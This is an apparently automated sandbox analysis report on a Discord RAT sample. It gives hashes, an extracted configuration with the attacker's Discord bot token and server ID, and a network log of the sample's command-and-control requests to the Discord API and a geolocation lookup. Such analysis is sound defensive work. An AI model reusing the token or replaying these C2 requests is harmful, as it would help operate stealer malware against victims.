Overview

overview

10

Static

static

10

5f039af1a6...91.exe

windows7-x64

7

5f039af1a6...91.exe

windows10-2004-x64

7

5f176e85cd...29.exe

windows7-x64

3

5f176e85cd...29.exe

windows10-2004-x64

3

5f59a08b97...d7.exe

windows7-x64

10

5f59a08b97...d7.exe

windows10-2004-x64

10

5f6bf86507...dd.exe

windows7-x64

10

5f6bf86507...dd.exe

windows10-2004-x64

10

5f7cc3cf60...7b.exe

windows7-x64

8

5f7cc3cf60...7b.exe

windows10-2004-x64

8

5f9e580111...ab.exe

windows7-x64

1

5f9e580111...ab.exe

windows10-2004-x64

1

5fb355ac6b...33.exe

windows7-x64

10

5fb355ac6b...33.exe

windows10-2004-x64

10

5fbe4073ad...bc.exe

windows7-x64

1

5fbe4073ad...bc.exe

windows10-2004-x64

1

6025a03430...45.exe

windows7-x64

10

6025a03430...45.exe

windows10-2004-x64

10

603d00b49e...6c.exe

windows7-x64

1

603d00b49e...6c.exe

windows10-2004-x64

1

605e7762c4...0f.exe

windows7-x64

10

605e7762c4...0f.exe

windows10-2004-x64

10

6062c88bd6...c6.exe

windows7-x64

10

6062c88bd6...c6.exe

windows10-2004-x64

8

6099cb8be8...c1.exe

windows7-x64

10

6099cb8be8...c1.exe

windows10-2004-x64

10

60cefc41a3...23.exe

windows7-x64

10

60cefc41a3...23.exe

windows10-2004-x64

10

612990113a...02.exe

windows7-x64

10

612990113a...02.exe

windows10-2004-x64

10

6135280278...33.exe

windows7-x64

10

6135280278...33.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2025, 06:25 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6025a03430599ee8e8561987af97f145.exe

  • Size

    78KB

  • MD5

    6025a03430599ee8e8561987af97f145

  • SHA1

    9ab43188bd8054f0bce0891a13b2387a79afc1b3

  • SHA256

    40109b15ee4560f27cafb2329d4301b1c7e752580cc96390c2d335b65f5d57c6

  • SHA512

    d247be89db096e74139333f5157be98801258e7cbee0dbd9d42cc4307a8dcd3f358c58886abb9e33958a1cead3e4c51d2c2a056f224e2235b83197df149f1c7c

  • SSDEEP

    1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+kPIC:5Zv5PDwbjNrmAE+4IC

Score
10/10
discordratpersistenceratrootkitstealer

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTM1MjA1NzMyNDc3NjE5NDA2OA.G42d3M.lPgGGTTkVtqnMENPX_QaLq5UCf1wXmylAYB_Nk

  • server_id

    1352056934202740847

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

    stealerrootkitratpersistencediscordrat
  • Discordrat family
    discordrat
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6025a03430599ee8e8561987af97f145.exe
    "C:\Users\Admin\AppData\Local\Temp\6025a03430599ee8e8561987af97f145.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2688

Network

  • flag-us
    DNS
    gateway.discord.gg
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.134.234
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.135.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    162.159.130.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: hxB4xWyf9HigO8vwzY+KuA==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Sat, 22 Mar 2025 06:28:18 GMT
    Connection: upgrade
    sec-websocket-accept: O+lMyPpBVy/lJnwVezGCnDF8qJU=
    upgrade: websocket
    cf-cache-status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WF6pcrJiOyNKYrorAW%2FX%2FCYofgQNz4hiYraR%2BB0nQOjF8fEZUezkREa2%2FRj17o2H2ES7PAi2NOU5%2BeYA7PCpw5mZL1pWW4bMgTWNundDYmIol6r6ALZa6cfmEQcYqJMMkar5tQ%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 9243a0cf2d2663d9-LHR
  • flag-us
    DNS
    discord.com
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.128.233
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.138.232
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1352056934202740847/channels
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    162.159.128.233:443
    Request
    POST /api/v9/guilds/1352056934202740847/channels HTTP/1.1
    authorization: Bot MTM1MjA1NzMyNDc3NjE5NDA2OA.G42d3M.lPgGGTTkVtqnMENPX_QaLq5UCf1wXmylAYB_Nk
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 30
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Sat, 22 Mar 2025 06:28:19 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=d8c5b5ea06e611f088efb25e303f03dd; Expires=Thu, 21-Mar-2030 06:28:19 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1998
    x-ratelimit-reset: 1742710548.095
    x-ratelimit-reset-after: 85648.412
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    cf-cache-status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YirUmnC8Ep2xDXrP6vQ4Eai7PLIRj3cyovem44MnCTSJEGS9pQCMWz6FZdc%2BX8RbFpCoPXKuTx7VDQygdPJxmNXuo8nUkgf%2B24XOfuMvLnYFWdcR7Eh%2BF6akQbXV"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable"
    Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable
    Set-Cookie: __sdcfduid=d8c5b5ea06e611f088efb25e303f03dd91fb6a420f2521c87fea8d8af495129c7ce4e6ff8d22b37316963aa0d61def15; Expires=Thu, 21-Mar-2030 06:28:19 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=a91bea60cae0d1faa1fb9417641bed8cf2a29e3e-1742624899; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=vn7uk7dVwrhyyFgi9n91nRyJq1D0cj4RFsHOK186mzA-1742624899802-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 9243a0d64db4af0c-LHR
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
    Response
    g.bing.com
    IN CNAME
    g-bing-com.ax-0001.ax-msedge.net
    g-bing-com.ax-0001.ax-msedge.net
    IN CNAME
    ax-0001.ax-msedge.net
    ax-0001.ax-msedge.net
    IN A
    150.171.28.10
    ax-0001.ax-msedge.net
    IN A
    150.171.27.10
  • flag-us
    GET
    https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=
    Remote address:
    150.171.28.10:443
    Request
    GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid= HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    set-cookie: MUID=1F4EE191029E6A6B1140F42603256B92; domain=.bing.com; expires=Thu, 16-Apr-2026 06:28:23 GMT; path=/; SameSite=None; Secure; Priority=High;
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: F1EEDD7D00EB4F9397826CF94B5953D6 Ref B: LON04EDGE0807 Ref C: 2025-03-22T06:28:23Z
    date: Sat, 22 Mar 2025 06:28:22 GMT
  • flag-us
    GET
    https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=
    Remote address:
    150.171.28.10:443
    Request
    GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid= HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    cookie: MUID=1F4EE191029E6A6B1140F42603256B92
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    set-cookie: MSPTC=NliovZyKoNmjgUKLRfWIJiDzVmxyxScauCYdr9Glano; domain=.bing.com; expires=Thu, 16-Apr-2026 06:28:23 GMT; path=/; Partitioned; secure; SameSite=None
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 1E09EA488FFD49FFA6F90D6607E5A94B Ref B: LON04EDGE0807 Ref C: 2025-03-22T06:28:23Z
    date: Sat, 22 Mar 2025 06:28:23 GMT
  • flag-us
    GET
    https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=
    Remote address:
    150.171.28.10:443
    Request
    GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid= HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    cookie: MUID=1F4EE191029E6A6B1140F42603256B92; MSPTC=NliovZyKoNmjgUKLRfWIJiDzVmxyxScauCYdr9Glano
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 5CCBC2FD6F1E432784A71E131D0B600A Ref B: LON04EDGE0807 Ref C: 2025-03-22T06:28:23Z
    date: Sat, 22 Mar 2025 06:28:23 GMT
  • flag-us
    DNS
    geolocation-db.com
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 22 Mar 2025 06:28:45 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 22 Mar 2025 06:28:45 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    POST
    https://discord.com/api/v9/channels/1352891628360040459/messages
    6025a03430599ee8e8561987af97f145.exe
    Remote address:
    162.159.128.233:443
    Request
    POST /api/v9/channels/1352891628360040459/messages HTTP/1.1
    authorization: Bot MTM1MjA1NzMyNDc3NjE5NDA2OA.G42d3M.lPgGGTTkVtqnMENPX_QaLq5UCf1wXmylAYB_Nk
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 117
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 22 Mar 2025 06:28:45 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=e8212a2e06e611f09e6476b87dafad0e; Expires=Thu, 21-Mar-2030 06:28:45 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1742624926.480
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    cf-cache-status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZcJhfueXYueSDl3j5FKhl5bFEoHCimv9mjK0c5Gpg3cVljHlBLzxORLwUvrvQdfxqwT3DBElGr4gX8KDaNjjfmHgh198wb5o3%2Bq3HVgEdvY0q9NLCuSQIQ9kWapn"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable"
    Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable
    Set-Cookie: __sdcfduid=e8212a2e06e611f09e6476b87dafad0e282161b21e366a29124e362a719180da05bdf329220c3e4ae26b006ab979cdbf; Expires=Thu, 21-Mar-2030 06:28:45 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=0f6125f2849b36036f5716842056de2710c6e2d1-1742624925; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=Te28ysg.y0L.BDv0Ffx3Ot.evFfwCQv_gwGnFOQ8NWY-1742624925568-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 9243a1776cb6be9b-LHR
  • flag-us
    DNS
    tse1.mm.bing.net
    Remote address:
    8.8.8.8:53
    Request
    tse1.mm.bing.net
    IN A
    Response
    tse1.mm.bing.net
    IN CNAME
    mm-mm.bing.net.trafficmanager.net
    mm-mm.bing.net.trafficmanager.net
    IN CNAME
    ax-0001.ax-msedge.net
    ax-0001.ax-msedge.net
    IN A
    150.171.27.10
    ax-0001.ax-msedge.net
    IN A
    150.171.28.10
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239340418560_12H05GS2AXF1O4KMU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
    Remote address:
    150.171.27.10:443
    Request
    GET /th?id=OADD2.10239340418560_12H05GS2AXF1O4KMU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 540045
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 4AB1D37135E747DD938B7DC7864B7951 Ref B: LON04EDGE1208 Ref C: 2025-03-22T06:29:03Z
    date: Sat, 22 Mar 2025 06:29:02 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239340418559_1LXGGCLQWFST3067K&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
    Remote address:
    150.171.27.10:443
    Request
    GET /th?id=OADD2.10239340418559_1LXGGCLQWFST3067K&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 762590
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 68F1EEE48C5346F482AFB07ED53CAC03 Ref B: LON04EDGE1208 Ref C: 2025-03-22T06:29:03Z
    date: Sat, 22 Mar 2025 06:29:02 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239357296561_1OO0GI7LQYW9WHHBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
    Remote address:
    150.171.27.10:443
    Request
    GET /th?id=OADD2.10239357296561_1OO0GI7LQYW9WHHBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 512342
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 251774FC211E4276BA70A510526AAF01 Ref B: LON04EDGE1208 Ref C: 2025-03-22T06:29:03Z
    date: Sat, 22 Mar 2025 06:29:02 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239357296555_1NQZO136EN197N4N8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
    Remote address:
    150.171.27.10:443
    Request
    GET /th?id=OADD2.10239357296555_1NQZO136EN197N4N8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 669559
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: D8EF9B5AEC3941858223569447B77C95 Ref B: LON04EDGE1208 Ref C: 2025-03-22T06:29:03Z
    date: Sat, 22 Mar 2025 06:29:02 GMT
  • flag-us
    DNS
    c.pki.goog
    Remote address:
    8.8.8.8:53
    Request
    c.pki.goog
    IN A
    Response
    c.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.180.3
  • flag-gb
    GET
    http://c.pki.goog/r/r1.crl
    Remote address:
    142.250.180.3:80
    Request
    GET /r/r1.crl HTTP/1.1
    Cache-Control: max-age = 3000
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: c.pki.goog
    Response
    HTTP/1.1 304 Not Modified
    Date: Sat, 22 Mar 2025 05:59:32 GMT
    Expires: Sat, 22 Mar 2025 06:49:32 GMT
    Age: 1788
    Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
    Cache-Control: public, max-age=3000
    Vary: Accept-Encoding
  • 162.159.130.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    6025a03430599ee8e8561987af97f145.exe
    2.4kB
     16.1kB
     28
    33

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.128.233:443
    https://discord.com/api/v9/guilds/1352056934202740847/channels
    tls, http
    6025a03430599ee8e8561987af97f145.exe
    1.1kB
     5.9kB
     11
    13

    HTTP Request

    POST https://discord.com/api/v9/guilds/1352056934202740847/channels

    HTTP Response

    201
  • 150.171.28.10:443
    https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=
    tls, http2
    2.0kB
     9.4kB
     21
    19

    HTTP Request

    GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=

    HTTP Response

    204

    HTTP Request

    GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=

    HTTP Response

    204

    HTTP Request

    GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=0363bbdd2a7d432e9686691e7f2d8d81&localId=w:06EA7CA6-BA87-3CF1-1EE1-03E628C99C60&deviceId=6966580997104353&anid=

    HTTP Response

    204
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    6025a03430599ee8e8561987af97f145.exe
    1.8kB
     4.5kB
     15
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.128.233:443
    https://discord.com/api/v9/channels/1352891628360040459/messages
    tls, http
    6025a03430599ee8e8561987af97f145.exe
    1.3kB
     3.3kB
     9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1352891628360040459/messages

    HTTP Response

    200
  • 150.171.27.10:443
    https://tse1.mm.bing.net/th?id=OADD2.10239357296555_1NQZO136EN197N4N8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
    tls, http2
    90.6kB
     2.6MB
     1905
    1897

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239340418560_12H05GS2AXF1O4KMU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239340418559_1LXGGCLQWFST3067K&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239357296561_1OO0GI7LQYW9WHHBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239357296555_1NQZO136EN197N4N8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

    HTTP Response

    200

    HTTP Response

    200

    HTTP Response

    200

    HTTP Response

    200
  • 150.171.27.10:443
    tse1.mm.bing.net
    tls, http2
    2.7kB
     7.6kB
     22
    15
  • 150.171.27.10:443
    tse1.mm.bing.net
    tls, http2
    2.6kB
     7.0kB
     21
    14
  • 150.171.27.10:443
    tse1.mm.bing.net
    tls, http2
    2.6kB
     7.0kB
     21
    14
  • 142.250.180.3:80
    http://c.pki.goog/r/r1.crl
    http
    476 B
     395 B
     6
    4

    HTTP Request

    GET http://c.pki.goog/r/r1.crl

    HTTP Response

    304
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    6025a03430599ee8e8561987af97f145.exe
    64 B
     144 B
     1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.130.234
    162.159.133.234
    162.159.134.234
    162.159.136.234
    162.159.135.234

  • 8.8.8.8:53
    discord.com
    dns
    6025a03430599ee8e8561987af97f145.exe
    57 B
     137 B
     1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.128.233
    162.159.135.232
    162.159.136.232
    162.159.137.232
    162.159.138.232

  • 8.8.8.8:53
    g.bing.com
    dns
    56 B
     148 B
     1
    1

    DNS Request

    g.bing.com

    DNS Response

    150.171.28.10
    150.171.27.10
